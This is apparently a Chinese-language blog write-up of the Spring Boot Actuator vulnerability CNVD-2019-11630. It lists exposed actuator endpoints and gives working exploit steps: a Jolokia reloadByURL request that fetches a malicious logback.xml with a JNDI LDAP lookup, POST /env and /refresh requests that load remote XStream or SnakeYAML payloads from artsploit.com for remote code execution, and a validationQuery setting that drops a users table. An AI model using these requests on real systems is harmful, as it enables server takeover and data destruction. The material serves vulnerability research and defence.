CNVD-2019-11630

### CNVD-2019-11630 Spring Boot Actuator命令执行漏洞

[https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators" \t "https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/_blank)

这个漏洞并不像是单一的问题产生，更像是一个渗透入侵的过程。有很多值得在意的知识点

1. Spring Boot 1-1.4，无需身份验证即可访问以下敏感路径，而在2.x中，存在于/actuator路径下。
2. /dump-显示线程转储（包括堆栈跟踪）
3. /trace-显示最后几条HTTP消息（其中可能包含会话标识符）
4. /logfile-输出日志文件的内容
5. /shutdown-关闭应用程序
6. /mappings-显示所有MVC控制器映射
7. /env-提供对配置环境的访问
8. /restart-重新启动应用程序
9. jolokia进行远程代码执行，Jolokia允许通过HTTP访问所有已注册的MBean，并且旨在执行与JMX相同的操作。可以使用URL列出所有可用的MBeans操作：[http://127.0.0.1:8090/jolokia/list](http://127.0.0.1:8090/jolokia/list" \t "https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/_blank)

Logback库提供的**reloadByURL**操作使我们可以从外部URL重新加载日志配置，地址如：

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

logback.xml：

<configuration>

<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />

</configuration>

reloadByURL功能从[http://artsploit.com/logback.xml下载新配置，并将其解析为Logback配置。这就导致两个问题：XXE盲攻击、恶意LDAP服务器解析引用导致RCE。](http://artsploit.com/logback.xml%E4%B8%8B%E8%BD%BD%E6%96%B0%E9%85%8D%E7%BD%AE%EF%BC%8C%E5%B9%B6%E5%B0%86%E5%85%B6%E8%A7%A3%E6%9E%90%E4%B8%BALogback%E9%85%8D%E7%BD%AE%E3%80%82%E8%BF%99%E5%B0%B1%E5%AF%BC%E8%87%B4%E4%B8%A4%E4%B8%AA%E9%97%AE%E9%A2%98%EF%BC%9AXXE%E7%9B%B2%E6%94%BB%E5%87%BB%E3%80%81%E6%81%B6%E6%84%8FLDAP%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E5%BC%95%E7%94%A8%E5%AF%BC%E8%87%B4RCE%E3%80%82" \t "https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/_blank)

1. 通过/env来修改配置

如果Spring Cloud Libraries在类路径中，则\*\*’/ env’\*\*端点允许您修改Spring环境属性。

1. POST /env HTTP/1.1
2. Host: 127.0.0.1:8090
3. Content-Type: application/x-www-form-urlencoded
4. Content-Length: 65
6. eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

此属性将Eureka serviceURL修改为任意值。Eureka Server通常用作发现服务器，目标类路径中具有Eureka-Client <1.8.7，则可以利用其中的**XStream反序列化漏洞**。

然后调用’/ refresh’端点。

1. 有一种通过Spring环境属性修改来实现RCE的更可靠方法：
2. POST /env HTTP/1.1
3. Host: 127.0.0.1:8090
4. Content-Type: application/x-www-form-urlencoded
5. Content-Length: 59
7. spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

该请求修改了“ spring.cloud.bootstrap.location”属性，该属性用于加载外部配置并以YAML格式解析它。为了做到这一点，我们还需要调用“/refresh”端点。

1. POST /refresh HTTP/1.1
2. Host: 127.0.0.1:8090
3. Content-Type: application/x-www-form-urlencoded
4. Content-Length: 0

从远程服务器获取YAML配置时，将使用SnakeYAML库进行解析，该库也容易受到反序列化攻击。有效载荷（yaml-payload.yml）可以通过使用前述的Marshalsec研究生成：

1. !!javax.script.ScriptEngineManager [
2. !!java.net.URLClassLoader [[
3. !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
4. ]]
5. ]

该jar文件的反序列化将触发提供的URLClassLoader的ScriptEngineManager构造函数的执行。jar文件可以在如下地址找到：[https://github.com/artsploit/yaml-payload](https://github.com/artsploit/yaml-payload" \t "https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/_blank)

1. /env配置

除了关于执行RCE的地方，还有一些设置也很有用。

\*\*spring.datasource.tomcat.validationQuery = drop + table + users-\*\*允许您指定任何SQL查询，它将针对当前数据库自动执行。它可以是任何语句，包括插入，更新或删除。

**spring.datasource.tomcat.url** = jdbc:hsqldb:[https://localhost:3002/xdb允许您修改当前的JDBC连接字符串。](https://localhost:3002/xdb%E5%85%81%E8%AE%B8%E6%82%A8%E4%BF%AE%E6%94%B9%E5%BD%93%E5%89%8D%E7%9A%84JDBC%E8%BF%9E%E6%8E%A5%E5%AD%97%E7%AC%A6%E4%B8%B2%E3%80%82" \t "https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/_blank)

这种设置只在1.x中，在Spring Boot 2.x中，改为了json格式。